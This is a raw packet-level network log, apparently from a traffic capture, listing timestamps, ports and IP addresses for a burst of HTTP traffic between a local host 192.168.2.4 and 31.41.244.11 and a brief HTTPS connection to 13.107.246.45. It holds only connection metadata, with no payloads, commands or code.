Nov 18, 2024 23:04:15.100647926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100666046 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100682020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100716114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100716114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100738049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100776911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100887060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100917101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100950003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.100961924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100961924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.100982904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101000071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101025105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101035118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101059914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101079941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101092100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101116896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101126909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101135015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101161003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101180077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101193905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101221085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101243019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101365089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101397991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101433039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101448059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101466894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101470947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101500988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101504087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101521015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101535082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101561069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101569891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101603031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101623058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101737976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101769924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101795912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101803064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101835012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101844072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101869106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101891041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101902008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101912022 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101937056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101944923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.101969957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.101985931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102005005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102005959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102041960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102058887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102225065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102257013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102288961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102289915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102308035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102322102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102330923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102372885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102377892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102411032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102431059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102443933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102462053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102478027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102500916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102511883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102540970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102545977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102560043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102579117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102602005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102612972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102631092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102662086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102758884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102792025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102823973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102828979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102828979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102855921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102879047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102890015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102909088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102922916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102942944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102956057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.102966070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.102991104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103017092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103044987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103224993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103256941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103288889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103290081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103310108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103342056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103348970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103375912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103406906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103406906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103410006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103429079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103445053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103468895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103480101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103513956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103514910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103537083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103545904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103575945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103580952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103614092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103614092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103636026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103646994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103667021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103692055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103707075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103744030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.103949070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.103981018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104008913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104013920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104039907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104047060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104059935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104080915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104101896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104113102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104125023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104146957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104163885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104181051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104197025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104216099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104238033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104249954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104264021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104283094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104302883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104315996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104331970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104350090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.104376078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.104402065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.115567923 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.115745068 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.115808010 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.115856886 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.115876913 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.115921974 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.115932941 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.118186951 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.118247032 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.118330002 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.118552923 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.118585110 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.119280100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.119349003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.119354010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.119421005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.119491100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.119527102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.119556904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.119560003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.119579077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.119592905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.119615078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.119626045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.119637966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.119661093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.119679928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.119709015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.119961023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.120017052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.120121002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.120152950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.120181084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.120213032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.149739027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.149835110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.149883032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.149915934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.149946928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.149977922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.150001049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150002003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150002003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150002003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150010109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.150002003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150051117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.150085926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150085926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150114059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150533915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.150625944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150630951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.150665045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.150688887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.150717020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.178014040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178040028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178075075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178177118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178191900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178206921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178210974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.178210974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.178211927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.178222895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178311110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.178311110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.178416967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178431988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178447962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178461075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.178481102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.178524017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.178524017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.181516886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.181582928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.181632042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.181648016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.181687117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.181767941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.181821108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.181850910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.181865931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.181879997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.181895018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.181906939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.181934118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.181956053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.181957006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182013988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.182146072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182161093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182174921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182189941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182204008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182205915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.182220936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182231903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.182251930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.182285070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.182493925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182508945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182529926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182543039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182558060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.182557106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.182586908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.182621956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222343922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222412109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222449064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222484112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222517967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222549915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222551107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222551107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222551107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222573996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222628117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222678900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222690105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222716093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222738028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222750902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222775936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222786903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222822905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222826004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222850084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222857952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222878933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222894907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222914934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222948074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.222959042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.222982883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223001957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223021984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223037958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223078012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223297119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223352909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223357916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223387957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223427057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223436117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223436117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223460913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223494053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223494053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223512888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223530054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223551035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223563910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223576069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223598957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223614931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223633051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223659992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223668098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223684072 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223704100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.223730087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.223756075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224164009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224198103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224224091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224232912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224255085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224267006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224287987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224302053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224328995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224337101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224356890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224371910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224395990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224409103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224433899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224445105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224478006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224478960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224498987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.224514008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.224540949 CET	49794	80	192.168.2.4	31.41.244.11
